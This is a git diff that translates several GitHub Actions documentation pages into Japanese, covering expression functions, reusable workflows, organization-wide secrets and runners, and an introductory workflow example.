+* オブジェクトおよび配列は、同じインスタンスの場合にのみ等しいとみなされます。
 
-## Functions
+## 関数
 
-{% data variables.product.prodname_dotcom %} offers a set of built-in functions that you can use in expressions. Some functions cast values to a string to perform comparisons. {% data variables.product.prodname_dotcom %} casts data types to a string using these conversions:
+{% data variables.product.prodname_dotcom %} は、式で使用できる組み込み関数のセットを提供します。 一部の関数は、比較を行なうために、値を文字列型にキャストします。 {% data variables.product.prodname_dotcom %} は、以下の変換方法で、データ型を文字列にキャストします。
 
-| Type    | Result |
-| ---     | ---    |
-| Null    | `''` |
-| Boolean | `'true'` or `'false'` |
-| Number  | Decimal format, exponential for large numbers |
-| Array   | Arrays are not converted to a string |
-| Object  | Objects are not converted to a string |
+| 種類     | 結果                   |
+| ------ | -------------------- |
+| ヌル     | `''`                 |
+| 論理値    | `'true'`または`'false'` |
+| Number | 10進数、大きい場合は指数        |
+| 配列     | 配列は文字列型に変換されません      |
+| オブジェクト | オブジェクトは文字列型に変換されません  |
 
 ### contains
 
 `contains( search, item )`
 
-Returns `true` if `search` contains `item`. If `search` is an array, this function returns `true` if the `item` is an element in the array. If `search` is a string, this function returns `true` if the `item` is a substring of `search`. This function is not case sensitive. Casts values to a string.
+`search`が`item` を含む場合、`true` を返します。 `search`が配列の場合、`item`が配列の要素であれば、この関数は`true`を返します。 `search`が文字列の場合、`item`が`search`の部分文字列であれば、この関数は`true`を返します。 この関数は大文字と小文字を区別しません。 値を文字列にキャストします。
 
-#### Example using an array
+#### 配列の利用例
 
 `contains(github.event.issue.labels.*.name, 'bug')`
 
-#### Example using a string
+#### 文字列の使用例
 
-`contains('Hello world', 'llo')` returns `true`
+`contains('Hello world', 'llo')` は、`true` を返します。
 
 ### startsWith
 
 `startsWith( searchString, searchValue )`
 
-Returns `true` when `searchString` starts with `searchValue`. This function is not case sensitive. Casts values to a string.
+`searchString` が `searchValue` で始まる場合、`true` を返します。 この関数は大文字と小文字を区別しません。 値を文字列にキャストします。
 
-#### Example
+#### サンプル
 
-`startsWith('Hello world', 'He')` returns `true`
+`startsWith('Hello world', 'He')` は、`true` を返します
 
 ### endsWith
 
 `endsWith( searchString, searchValue )`
 
-Returns `true` if `searchString` ends with `searchValue`. This function is not case sensitive. Casts values to a string.
+`searchString` が `searchValue` で終わる場合、`true` を返します。 この関数は大文字と小文字を区別しません。 値を文字列にキャストします。
 
-#### Example
+#### サンプル
 
-`endsWith('Hello world', 'ld')` returns `true`
+`endsWith('Hello world', 'ld')` は、`true` を返します
 
 ### format
 
 `format( string, replaceValue0, replaceValue1, ..., replaceValueN)`
 
-Replaces values in the `string`, with the variable `replaceValueN`. Variables in the `string` are specified using the `{N}` syntax, where `N` is an integer. You must specify at least one `replaceValue` and `string`. There is no maximum for the number of variables (`replaceValueN`) you can use. Escape curly braces using double braces.
+`string` の値を、変数 `replaceValueN` で置換します。 `string` の変数は、`{N}` という構文で指定します。ここで `N` は整数です。 少なくとも、`replaceValue` と `string` を 1 つ指定する必要があります。 使用できる変数 (`replaceValueN`) の数に制限はありません。 中括弧はダブルブレースでエスケープします。
 
-#### Example
+#### サンプル
 
-Returns 'Hello Mona the Octocat'
+'Hello Mona the Octocat' を返します
 
 `format('Hello {0} {1} {2}', 'Mona', 'the', 'Octocat')`
 
-#### Example escaping braces
+#### 括弧をエスケープするサンプル
 
-Returns '{Hello Mona the Octocat!}'
+'{Hello Mona the Octocat!}'を返します。
 
 {% raw %}
 ```js
@@ -177,31 +177,31 @@ format('{{Hello {0} {1} {2}!}}', 'Mona', 'the', 'Octocat')
 
 `join( array, optionalSeparator )`
 
-The value for `array` can be an array or a string. All values in `array` are concatenated into a string. If you provide `optionalSeparator`, it is inserted between the concatenated values. Otherwise, the default separator `,` is used. Casts values to a string.
+`array`の値は、配列もしくは文字列になります。 `array`内のすべての値が連結されて文字列になります。 `optionalSeparator`を渡すと、連結された値の間にその値が挿入されます。 渡していない場合は、デフォルトのセパレータの`,`が使われます。 値を文字列にキャストします。
 
-#### Example
+#### サンプル
 
-`join(github.event.issue.labels.*.name, ', ')` may return 'bug, help wanted'
+`join(github.event.issue.labels.*.name, ', ')`は'bug, help wanted'といった結果を返します。
 
 ### toJSON
 
 `toJSON(value)`
 
-Returns a pretty-print JSON representation of `value`. You can use this function to debug the information provided in contexts.
+`value` を、書式を整えたJSON表現で返します。 この関数を使って、コンテキスト内で提供された情報のデバッグができます。
 
-#### Example
+#### サンプル
 
-`toJSON(job)` might return `{ "status": "Success" }`
+`toJSON(job)` は、`{ "status": "Success" }` といった結果を返します。
 
 ### fromJSON
 
 `fromJSON(value)`
 
-Returns a JSON object or JSON data type for `value`. You can use this function to provide a JSON object as an evaluated expression or to convert environment variables from a string.
+`value`に対するJSONオブジェクト、あるいはJSONデータ型を返します。 この関数を使って、評価された式としてJSONオブジェクトを提供したり、環境変数を文字列から変換したりできます。
 
-#### Example returning a JSON object
+#### JSONオブジェクトを返す例
 
-This workflow sets a JSON matrix in one job, and passes it to the next job using an output and `fromJSON`.
+以下のワークフローはJSONのマトリックスを1つのジョブに設定し、それを出力と`fromJSON`を使って次のジョブに渡します。
 
 {% raw %}
 ```yaml
@@ -225,9 +225,9 @@ jobs:
 ```
 {% endraw %}
 
-#### Example returning a JSON data type
+#### JSONデータ型を返す例
 
-This workflow uses `fromJSON` to convert environment variables from a string to a Boolean or integer.
+このワークフローは`fromJSON`を使い、環境変数を文字列型から論理型もしくは整数に変換します。
 
 {% raw %}
 ```yaml
@@ -250,31 +250,31 @@ jobs:
 
 `hashFiles(path)`
 
-Returns a single hash for the set of files that matches the `path` pattern. You can provide a single `path` pattern or multiple `path` patterns separated by commas. The `path` is relative to the `GITHUB_WORKSPACE` directory and can only include files inside of the `GITHUB_WORKSPACE`. This function calculates an individual SHA-256 hash for each matched file, and then uses those hashes to calculate a final SHA-256 hash for the set of files. For more information about SHA-256, see "[SHA-2](https://en.wikipedia.org/wiki/SHA-2)."
+`path`パターンにマッチするファイル群から単一のハッシュを返します。 単一の `path` パターンまたはコンマで区切られた複数の `path` パターンを指定できます。 `path`は`GITHUB_WORKSPACE`ディレクトリに対する相対であり、含められるのは`GITHUB_WORKSPACE`内のファイルだけです。 この関数はマッチしたそれぞれのファイルに対するSHA-256ハッシュを計算し、それらのハッシュを使ってファイルの集合に対する最終的なSHA-256ハッシュを計算します。 SHA-256に関する詳しい情報については「[SHA-2](https://en.wikipedia.org/wiki/SHA-2)」を参照してください。
 
-You can use pattern matching characters to match file names. Pattern matching is case-insensitive on Windows. For more information about supported pattern matching characters, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions/#filter-pattern-cheat-sheet)."
+パターンマッチング文字を使ってファイル名をマッチさせることができます。 パターンマッチングは、Windowsでは大文字小文字を区別しません。 サポートされているパターンマッチング文字に関する詳しい情報については「[{% data variables.product.prodname_actions %}のワークフロー構文](/github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions/#filter-pattern-cheat-sheet)」を参照してください。
 
-#### Example with a single pattern
+#### 単一のパターンの例
 
-Matches any `package-lock.json` file in the repository.
+リポジトリ内の任意の`package-lock.json`ファイルにマッチします。
 
 `hashFiles('**/package-lock.json')`
 
-#### Example with multiple patterns
+#### 複数のパターンの例
 
-Creates a hash for any `package-lock.json` and `Gemfile.lock` files in the repository.
+リポジトリ内の `package-lock.json` および `Gemfile.lock` ファイルのハッシュを作成します。
 
 `hashFiles('**/package-lock.json', '**/Gemfile.lock')`
 
-## Status check functions
+## ステータスチェック関数
 
-You can use the following status check functions as expressions in `if` conditionals. A default status check of `success()` is applied unless you include one of these functions. For more information about `if` conditionals, see "[Workflow syntax for GitHub Actions](/articles/workflow-syntax-for-github-actions/#jobsjob_idif)" and "[Metadata syntax for GitHub Composite Actions](/actions/creating-actions/metadata-syntax-for-github-actions/#runsstepsif)".
+`if` 条件では、次のステータスチェック関数を式として使用できます。 A default status check of `success()` is applied unless you include one of these functions. For more information about `if` conditionals, see "[Workflow syntax for GitHub Actions](/articles/workflow-syntax-for-github-actions/#jobsjob_idif)" and "[Metadata syntax for GitHub Composite Actions](/actions/creating-actions/metadata-syntax-for-github-actions/#runsstepsif)".
 
 ### success
 
-Returns `true` when none of the previous steps have failed or been canceled.
+以前のステップで失敗もしくはキャンセルされたものがない場合に`true`を返します。
 
-#### Example
+#### サンプル
 
 ```yaml
 steps:
@@ -285,9 +285,9 @@ steps:
 
 ### always
 
-Causes the step to always execute, and returns `true`, even when canceled. A job or step will not run when a critical failure prevents the task from running. For example, if getting sources failed.
+Causes the step to always execute, and returns `true`, even when canceled. クリティカルなエラーによりタスクが実行されない場合は、ジョブやステップも実行されません。 たとえば、ソースの取得に失敗した場合などがそれにあたります。
 
-#### Example
+#### サンプル
 
 ```yaml
 if: {% raw %}${{ always() }}{% endraw %}
@@ -295,9 +295,9 @@ if: {% raw %}${{ always() }}{% endraw %}
 
 ### cancelled
 
-Returns `true` if the workflow was canceled.
+ワークフローがキャンセルされた場合、`true` を返します。
 
-#### Example
+#### サンプル
 
 ```yaml
 if: {% raw %}${{ cancelled() }}{% endraw %}
@@ -305,9 +305,9 @@ if: {% raw %}${{ cancelled() }}{% endraw %}
 
 ### failure
 
-Returns `true` when any previous step of a job fails. If you have a chain of dependent jobs, `failure()` returns `true` if any ancestor job fails.
+ジョブの以前のステップのいずれかが失敗したなら`true`を返します。 If you have a chain of dependent jobs, `failure()` returns `true` if any ancestor job fails.
 
-#### Example
+#### サンプル
 
 ```yaml
 steps:
@@ -342,11 +342,11 @@ steps:
 
 This is the same as using `if: failure()` in a composite action step.
 
-## Object filters
+## オブジェクトフィルタ
 
-You can use the `*` syntax to apply a filter and select matching items in a collection.
+`*` 構文を使って、フィルタを適用し、コレクション内の一致するアイテムを選択できます。
 
-For example, consider an array of objects named `fruits`.
+たとえば、`fruits`というオブジェクトの配列を考えます。
 
 ```json
 [
@@ -356,4 +356,4 @@ For example, consider an array of objects named `fruits`.
 ]
 ```
 
-The filter `fruits.*.name` returns the array `[ "apple", "orange", "pear" ]`
+`fruits.*.name`というフィルタを指定すると、配列`[ "apple", "orange", "pear" ]`が返されます。
diff --git a/translations/ja-JP/content/actions/learn-github-actions/index.md b/translations/ja-JP/content/actions/learn-github-actions/index.md
index a6a2c06226..2994991e35 100644
--- a/translations/ja-JP/content/actions/learn-github-actions/index.md
+++ b/translations/ja-JP/content/actions/learn-github-actions/index.md
@@ -1,7 +1,7 @@
 ---
-title: Learn GitHub Actions
-shortTitle: Learn GitHub Actions
-intro: 'Whether you are new to {% data variables.product.prodname_actions %} or interested in learning all they have to offer, this guide will help you use {% data variables.product.prodname_actions %} to accelerate your application development workflows.'
+title: GitHub Actions について学ぶ
+shortTitle: GitHub Actions について学ぶ
+intro: '{% data variables.product.prodname_actions %} を初めて使用する場合も、そこで提供されているすべての項目を学ぶ場合も、このガイドは、{% data variables.product.prodname_actions %} を使用してアプリケーション開発ワークフローを促進する際に役立ちます。'
 redirect_from:
   - /articles/about-github-actions
   - /github/automating-your-workflow-with-github-actions/about-github-actions
diff --git a/translations/ja-JP/content/actions/learn-github-actions/reusing-workflows.md b/translations/ja-JP/content/actions/learn-github-actions/reusing-workflows.md
index 33a4d0e6a9..58b6627336 100644
--- a/translations/ja-JP/content/actions/learn-github-actions/reusing-workflows.md
+++ b/translations/ja-JP/content/actions/learn-github-actions/reusing-workflows.md
@@ -16,7 +16,7 @@ topics:
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Overview
+## 概要
 
 Rather than copying and pasting from one workflow to another, you can make workflows reusable. You and anyone with access to the reusable workflow can then call the reusable workflow from another workflow.
 
@@ -52,7 +52,7 @@ A reusable workflow can be used by another workflow if {% ifversion ghes or ghec
 
 ### Using GitHub-hosted runners
 
-The assignment of {% data variables.product.prodname_dotcom %}-hosted runners is always evaluated using only the caller's context. Billing for {% data variables.product.prodname_dotcom %}-hosted runners is always associated with the caller. The caller workflow cannot use {% data variables.product.prodname_dotcom %}-hosted runners from the called repository. For more information, see "[About {% data variables.product.prodname_dotcom %}-hosted runners](/actions/using-github-hosted-runners/about-github-hosted-runners)."
+The assignment of {% data variables.product.prodname_dotcom %}-hosted runners is always evaluated using only the caller's context. Billing for {% data variables.product.prodname_dotcom %}-hosted runners is always associated with the caller. The caller workflow cannot use {% data variables.product.prodname_dotcom %}-hosted runners from the called repository. 詳しい情報については「[{% data variables.product.prodname_dotcom %}ホストランナーについて](/actions/using-github-hosted-runners/about-github-hosted-runners)」を参照してください。
 
 ### Using self-hosted runners
 
@@ -62,7 +62,7 @@ Called workflows can access self-hosted runners from caller's context. This mean
 * In the caller repository
 * In the caller repository's organization{% ifversion ghes or ghec or ghae %} or enterprise{% endif %}, provided that the runner has been made available to the caller repository
 
-## Limitations
+## 制限事項
 
 * Reusable workflows can't call other reusable workflows.
 * Reusable workflows stored within a private repository can only be used by workflows within the same repository.
@@ -190,9 +190,9 @@ When you call a reusable workflow, you can only use the following keywords in th
 
    {% note %}
 
-   **Note:**
+   **注釈:**
 
-   * If `jobs.<job_id>.permissions` is not specified in the calling job, the called workflow will have the default permissions for the `GITHUB_TOKEN`. For more information, see "[Authentication in a workflow](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token)."
+   * If `jobs.<job_id>.permissions` is not specified in the calling job, the called workflow will have the default permissions for the `GITHUB_TOKEN`. 詳しい情報については、「[ワークフローでの認証](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token)」を参照してください。
    * The `GITHUB_TOKEN` permissions passed from the caller workflow can be only downgraded (not elevated) by the called workflow.
 
    {% endnote %}
@@ -299,6 +299,6 @@ For information about using the REST API to query the audit log for an organizat
 
 {% endnote %}
 
-## Next steps
+## 次のステップ
 
 To continue learning about {% data variables.product.prodname_actions %}, see "[Events that trigger workflows](/actions/learn-github-actions/events-that-trigger-workflows)."
diff --git a/translations/ja-JP/content/actions/learn-github-actions/sharing-workflows-secrets-and-runners-with-your-organization.md b/translations/ja-JP/content/actions/learn-github-actions/sharing-workflows-secrets-and-runners-with-your-organization.md
index 7ce98f5613..9dd6c589dc 100644
--- a/translations/ja-JP/content/actions/learn-github-actions/sharing-workflows-secrets-and-runners-with-your-organization.md
+++ b/translations/ja-JP/content/actions/learn-github-actions/sharing-workflows-secrets-and-runners-with-your-organization.md
@@ -1,6 +1,6 @@
 ---
 title: 'Sharing workflows, secrets, and runners with your organization'
-shortTitle: Sharing workflows with your organization
+shortTitle: ワークフローを Organization と共有する
 intro: 'Learn how you can use organization features to collaborate with your team, by sharing starter workflow, secrets, and self-hosted runners.'
 redirect_from:
   - /actions/learn-github-actions/sharing-workflows-with-your-organization
@@ -15,9 +15,9 @@ type: how_to
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Overview
+## 概要
 
-If you need to share workflows and other {% data variables.product.prodname_actions %} features with your team, then consider collaborating within a {% data variables.product.prodname_dotcom %} organization. An organization allows you to centrally store and manage secrets, artifacts, and self-hosted runners. You can also create starter workflow in the `.github` repository and share them with other users in your organization.
+ワークフローやその他の {% data variables.product.prodname_actions %} 機能を Team と共有する必要がある場合は、{% data variables.product.prodname_dotcom %} Organization 内でのコラボレーションを検討します。 Organization を使用すると、シークレット、成果物、およびセルフホストランナーを一元的に保存および管理できます。 You can also create starter workflow in the `.github` repository and share them with other users in your organization.
 
 ## Using starter workflows
 
@@ -25,30 +25,30 @@ If you need to share workflows and other {% data variables.product.prodname_acti
 
 {% data reusables.actions.reusable-workflows %}
 
-## Sharing secrets within an organization
+## Organization 内でシークレットを共有する
 
-You can centrally manage your secrets within an organization, and then make them available to selected repositories. This also means that you can update a secret in one location, and have the change apply to all repository workflows that use the secret.
+Organization 内でシークレットを一元管理し、選択したリポジトリで使用できるようにすることができます。 これは、1 つの場所でシークレットを更新し、その変更をシークレットを使用するすべてのリポジトリワークフローに適用できるということを示します。
 
-When creating a secret in an organization, you can use a policy to limit which repositories can access that secret. For example, you can grant access to all repositories, or limit access to only private repositories or a specified list of repositories.
+Organizationでシークレットを作成する場合、ポリシーを使用して、そのシークレットにアクセスできるリポジトリを制限できます。 たとえば、すべてのリポジトリにアクセスを許可したり、プライベート リポジトリまたは指定したリポジトリ のリストのみにアクセスを制限したりできます。
 
 {% data reusables.github-actions.permissions-statement-secrets-organization %}
 
 {% data reusables.organizations.navigate-to-org %}
 {% data reusables.organizations.org_settings %}
 {% data reusables.github-actions.sidebar-secret %}
-1. Click **New secret**.
-1. Type a name for your secret in the **Name** input box.
-1. Enter the **Value** for your secret.
-1. From the **Repository access** dropdown list, choose an access policy.
-1. Click **Add secret**.
+1. [**New secret（新しいシークレット）**] をクリックします。
+1. **[Name（名前）]** 入力ボックスにシークレットの名前を入力します。
+1. シークレットの **Value（値）** を入力します。
+1. [ **Repository access（リポジトリアクセス）** ドロップダウン リストから、アクセス ポリシーを選択します。
+1. [**Add secret（シークレットの追加）**] をクリックします。
 
-## Share self-hosted runners within an organization
+## Organization 内でセルフホストランナーを共有する
 
-Organization admins can add their self-hosted runners to groups, and then create policies that control which repositories can access the group.
+Organization の管理者は、セルフホストランナーをグループに追加してから、グループにアクセスできるリポジトリを制御するポリシーを作成できます。
 
-For more information, see "[Managing access to self-hosted runners using groups](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups)."
+詳しい情報については、「[グループを使用したセルフホストランナーへのアクセスを管理する](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups)」を参照してください。
 
 
-## Next steps
+## 次のステップ
 
 To continue learning about {% data variables.product.prodname_actions %}, see "[Creating starter workflows for your organization](/actions/learn-github-actions/creating-starter-workflows-for-your-organization)."
diff --git a/translations/ja-JP/content/actions/learn-github-actions/understanding-github-actions.md b/translations/ja-JP/content/actions/learn-github-actions/understanding-github-actions.md
index 6e69efdfbc..5e86e4a403 100644
--- a/translations/ja-JP/content/actions/learn-github-actions/understanding-github-actions.md
+++ b/translations/ja-JP/content/actions/learn-github-actions/understanding-github-actions.md
@@ -20,21 +20,21 @@ topics:
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Overview
+## 概要
 
 {% data reusables.actions.about-actions %}  You can create workflows that build and test every pull request to your repository, or deploy merged pull requests to production.
 
 {% data variables.product.prodname_actions %} goes beyond just DevOps and lets you run workflows when other events happen in your repository. For example, you can run a workflow to automatically add the appropriate labels whenever someone creates a new issue in your repository.
 
-{% data variables.product.prodname_dotcom %} provides Linux, Windows, and macOS virtual machines to run your workflows, or you can host your own self-hosted runners in your own data center or cloud infrastructure.  
+{% data variables.product.prodname_dotcom %} provides Linux, Windows, and macOS virtual machines to run your workflows, or you can host your own self-hosted runners in your own data center or cloud infrastructure.
 
-## The components of {% data variables.product.prodname_actions %}
+## {% data variables.product.prodname_actions %} のコンポーネント
 
 You can configure a {% data variables.product.prodname_actions %} _workflow_ to be triggered when an _event_ occurs in your repository, such as a pull request being opened or an issue being created.  Your workflow contains one or more _jobs_ which can run in sequential order or in parallel.  Each job will run inside its own virtual machine _runner_, or inside a container, and has one or more _steps_ that either run a script that you define or run an _action_, which is a reusable extension that can simplify your workflow.
 
-![Workflow overview](/assets/images/help/images/overview-actions-simple.png)
+![ワークフローの概要](/assets/images/help/images/overview-actions-simple.png)
 
-### Workflows
+### ワークフロー
 
 A workflow is a configurable automated process that will run one or more jobs.  Workflows are defined by a YAML file checked in to your repository and will run when triggered by an event in your repository, or they can be triggered manually, or at a defined schedule.
 
@@ -42,36 +42,36 @@ Your repository can have multiple workflows in a repository, each of which can p
 
 {% ifversion fpt or ghes > 3.3 or ghae-issue-4757 or ghec %}You can reference a workflow within another workflow, see "[Reusing workflows](/actions/learn-github-actions/reusing-workflows)."{% endif %}
 
-### Events
+### イベント
 
 An event is a specific activity in a repository that triggers a workflow run. For example, activity can originate from {% data variables.product.prodname_dotcom %} when someone creates a pull request, opens an issue, or pushes a commit to a repository.  You can also trigger a workflow run on a schedule, by [posting to a REST API](/rest/reference/repos#create-a-repository-dispatch-event), or manually.
 
-For a complete list of events that can be used to trigger workflows, see [Events that trigger workflows](/actions/reference/events-that-trigger-workflows).
+ワークフローのトリガーに使用できるイベントの完全なリストについては、[ワークフローをトリガーするイベント](/actions/reference/events-that-trigger-workflows)を参照してください。
 
-### Jobs
+### ジョブ
 
 A job is a set of _steps_ in a workflow that execute on the same runner.  Each step is either a shell script that will be executed, or an _action_ that will be run.  Steps are executed in order and are dependent on each other.  Since each step is executed on the same runner, you can share data from one step to another.  For example, you can have a step that builds your application followed by a step that tests the application that was built.
 
 You can configure a job's dependencies with other jobs; by default, jobs have no dependencies and run in parallel with each other.  When a job takes a dependency on another job, it will wait for the dependent job to complete before it can run.  For example, you may have multiple build jobs for different architectures that have no dependencies, and a packaging job that is dependent on those jobs.  The build jobs will run in parallel, and when they have all completed successfully, the packaging job will run.
 
-### Actions
+### アクション
 
 An _action_ is a custom application for the {% data variables.product.prodname_actions %} platform that performs a complex but frequently repeated task.  Use an action to help reduce the amount of repetitive code that you write in your workflow files.  An action can pull your git repository from {% data variables.product.prodname_dotcom %}, set up the correct toolchain for your build environment, or set up the authentication to your cloud provider.
 
 You can write your own actions, or you can find actions to use in your workflows in the {% data variables.product.prodname_marketplace %}.
 
-### Runners
+### ランナー
 
 {% data reusables.actions.about-runners %} Each runner can run a single job at a time. {% ifversion ghes or ghae %} You must host your own runners for {% data variables.product.product_name %}. {% elsif fpt or ghec %}{% data variables.product.company_short %} provides Ubuntu Linux, Microsoft Windows, and macOS runners to run your workflows; each workflow run executes in a fresh, newly-provisioned virtual machine. If you need a different operating system or require a specific hardware configuration, you can host your own runners.{% endif %} For more information{% ifversion fpt or ghec %} about self-hosted runners{% endif %}, see "[Hosting your own runners](/actions/hosting-your-own-runners)."
 
-## Create an example workflow
+## サンプルワークフローを作成する
 
 {% data variables.product.prodname_actions %} uses YAML syntax to define the workflow.  Each workflow is stored as a separate YAML file in your code repository, in a directory called `.github/workflows`.
 
-You can create an example workflow in your repository that automatically triggers a series of commands whenever code is pushed. In this workflow, {% data variables.product.prodname_actions %} checks out the pushed code, installs the software dependencies, and runs `bats -v`.
+コードがプッシュされるたびに一連のコマンドを自動的にトリガーするサンプルワークフローをリポジトリに作成できます。 このワークフローでは、{% data variables.product.prodname_actions %} がプッシュされたコードをチェックアウトし、ソフトウェアの依存関係をインストールして、`bats-v` を実行します。
 
-1. In your repository, create the `.github/workflows/` directory to store your workflow files.
-1. In the `.github/workflows/` directory, create a new file called `learn-github-actions.yml` and add the following code.
+1. リポジトリに、ワークフローファイルを保存するための `.github/workflows/` ディレクトリを作成します。
+1. `.github/workflows/` ディレクトリに、`learn-github-actions.yml` という名前の新しいファイルを作成し、次のコードを追加します。
     ```yaml
     name: learn-github-actions
     on: [push]
@@ -86,13 +86,13 @@ You can create an example workflow in your repository that automatically trigger
           - run: npm install -g bats
           - run: bats -v
     ```
-1. Commit these changes and push them to your {% data variables.product.prodname_dotcom %} repository.
+1. これらの変更をコミットして、{% data variables.product.prodname_dotcom %} リポジトリにプッシュします。
 
-Your new {% data variables.product.prodname_actions %} workflow file is now installed in your repository and will run automatically each time someone pushes a change to the repository. For details about a job's execution history, see "[Viewing the workflow's activity](/actions/learn-github-actions/introduction-to-github-actions#viewing-the-jobs-activity)."
+これで、新しい {% data variables.product.prodname_actions %} ワークフローファイルがリポジトリにインストールされ、別のユーザがリポジトリに変更をプッシュするたびに自動的に実行されます。 ジョブの実行履歴の詳細については、「[ワークフローのアクティビティを表示する](/actions/learn-github-actions/introduction-to-github-actions#viewing-the-jobs-activity)」を参照してください。
 
-## Understanding the workflow file
+## ワークフローファイルを理解する
 
-To help you understand how YAML syntax is used to create a workflow file, this section explains each line of the introduction's example:
+YAML 構文を使用してワークフローファイルを作成する方法を理解しやすくするために、このセクションでは、導入例の各行について説明します。
 
 <table>
 <tr>
@@ -103,7 +103,7 @@ To help you understand how YAML syntax is used to create a workflow file, this s
   ```
 </td>
 <td>
-  <em>Optional</em> - The name of the workflow as it will appear in the Actions tab of the {% data variables.product.prodname_dotcom %} repository.
+  <em>オプション</em> - {% data variables.product.prodname_dotcom %} リポジトリの [Actions] タブに表示されるワークフローの名前。
 </td>
 </tr>
 <tr>
@@ -147,7 +147,7 @@ Defines a job named <code>check-bats-version</code>. The child keys will define
   ```
 </td>
 <td>
-  Configures the job to run on the latest version of an Ubuntu Linux runner. This means that the job will execute on a fresh virtual machine hosted by GitHub. For syntax examples using other runners, see <a href="https://docs.github.com/en/actions/reference/workflow-syntax-for-github-actions#jobsjob_idruns-on">"Workflow syntax for {% data variables.product.prodname_actions %}."</a>
+  Configures the job to run on the latest version of an Ubuntu Linux runner. これは、ジョブが GitHub によってホストされている新しい仮想マシンで実行されるということです。 他のランナーを使用した構文例については、「<a href="https://docs.github.com/en/actions/reference/workflow-syntax-for-github-actions#jobsjob_idruns-on">{% data variables.product.prodname_actions %} のワークフロー構文</a>」を参照してください。
 </td>
 </tr>
 <tr>
@@ -158,7 +158,7 @@ Defines a job named <code>check-bats-version</code>. The child keys will define
   ```
 </td>
 <td>
-  Groups together all the steps that run in the <code>check-bats-version</code> job. Each item nested under this section is a separate action or shell script.
+  <code>check-bats-version</code> ジョブで実行されるすべてのステップをグループ化します。 Each item nested under this section is a separate action or shell script.
 </td>
 </tr>
 <tr>
@@ -193,7 +193,7 @@ The <code>uses</code> keyword specifies that this step will run <code>v2</code>
   ```
 </td>
 <td>
-  The <code>run</code> keyword tells the job to execute a command on the runner. In this case, you are using <code>npm</code> to install the <code>bats</code> software testing package.
+  <code>run</code> キーワードは、ランナーでコマンドを実行するようにジョブに指示します。 この場合、<code>npm</code> を使用して <code>bats</code> ソフトウェアテストパッケージをインストールしています。
 </td>
 </tr>
 <tr>
@@ -204,46 +204,39 @@ The <code>uses</code> keyword specifies that this step will run <code>v2</code>
   ```
 </td>
 <td>
-  Finally, you'll run the <code>bats</code> command with a parameter that outputs the software version.
+  最後に、ソフトウェアバージョンを出力するパラメータを指定して <code>bats</code> コマンドを実行します。
 </td>
 </tr>
 </table>
 
-### Visualizing the workflow file
+### ワークフローファイルの視覚化
 
-In this diagram, you can see the workflow file you just created and how the {% data variables.product.prodname_actions %} components are organized in a hierarchy. Each step executes a single action or shell script. Steps 1 and 2 run actions, while steps 3 and 4 run shell scripts. To find more prebuilt actions for your workflows, see "[Finding and customizing actions](/actions/learn-github-actions/finding-and-customizing-actions)."
+この図では、作成したワークフローファイルと、{% data variables.product.prodname_actions %} コンポーネントが階層にどのように整理されているかを確認できます。 Each step executes a single action or shell script. Steps 1 and 2 run actions, while steps 3 and 4 run shell scripts. ワークフローのビルド済みアクションの詳細については、「[アクションの検索とカスタマイズ](/actions/learn-github-actions/finding-and-customizing-actions)」を参照してください。
 
-![Workflow overview](/assets/images/help/images/overview-actions-event.png)
+![ワークフローの概要](/assets/images/help/images/overview-actions-event.png)
 
 ## Viewing the workflow's activity
 
 Once your workflow has started running, you can {% ifversion fpt or ghes > 3.0 or ghae or ghec %}see a visualization graph of the run's progress and {% endif %}view each step's activity on {% data variables.product.prodname_dotcom %}.
 
 {% data reusables.repositories.navigate-to-repo %}
-1. Under your repository name, click **Actions**.
-    ![Navigate to repository](/assets/images/help/images/learn-github-actions-repository.png)
-1. In the left sidebar, click the workflow you want to see.
-    ![Screenshot of workflow results](/assets/images/help/images/learn-github-actions-workflow.png)
-1. Under "Workflow runs", click the name of the run you want to see.
-    ![Screenshot of workflow runs](/assets/images/help/images/learn-github-actions-run.png)
+1. リポジトリ名の下で**Actions（アクション）**をクリックしてください。 ![リポジトリに移動](/assets/images/help/images/learn-github-actions-repository.png)
+1. 左サイドバーで、表示するワークフローをクリックします。 ![ワークフロー結果のスクリーンショット](/assets/images/help/images/learn-github-actions-workflow.png)
+1. [Workflow runs] で、表示する実行の名前をクリックします。 ![ワークフロー実行のスクリーンショット](/assets/images/help/images/learn-github-actions-run.png)
 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
-1. Under **Jobs** or in the visualization graph, click the job you want to see.
-   ![Select job](/assets/images/help/images/overview-actions-result-navigate.png)
+1. [**Jobs**] または視覚化グラフで、表示するジョブをクリックします。 ![ジョブを選択](/assets/images/help/images/overview-actions-result-navigate.png)
 {% endif %}
 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
-1. View the results of each step.
-    ![Screenshot of workflow run details](/assets/images/help/images/overview-actions-result-updated-2.png)
+1. 各ステップの結果を表示します。 ![ワークフロー実行の詳細のスクリーンショット](/assets/images/help/images/overview-actions-result-updated-2.png)
 {% elsif ghes %}
-1. Click on the job name to see the results of each step.
-    ![Screenshot of workflow run details](/assets/images/help/images/overview-actions-result-updated.png)
+1. ジョブ名をクリックして、各ステップの結果を確認します。 ![ワークフロー実行の詳細のスクリーンショット](/assets/images/help/images/overview-actions-result-updated.png)
 {% else %}
-1. Click on the job name to see the results of each step.
-    ![Screenshot of workflow run details](/assets/images/help/images/overview-actions-result.png)
+1. ジョブ名をクリックして、各ステップの結果を確認します。 ![ワークフロー実行の詳細のスクリーンショット](/assets/images/help/images/overview-actions-result.png)
 {% endif %}
 
-## Next steps
+## 次のステップ
 
-To continue learning about {% data variables.product.prodname_actions %}, see "[Finding and customizing actions](/actions/learn-github-actions/finding-and-customizing-actions)."
+{% data variables.product.prodname_actions %} について詳しくは、「[アクションの検索とカスタマイズ](/actions/learn-github-actions/finding-and-customizing-actions)」を参照してください。
 
 {% ifversion fpt or ghec or ghes %}
 
@@ -251,6 +244,6 @@ To understand how billing works for {% data variables.product.prodname_actions %
 
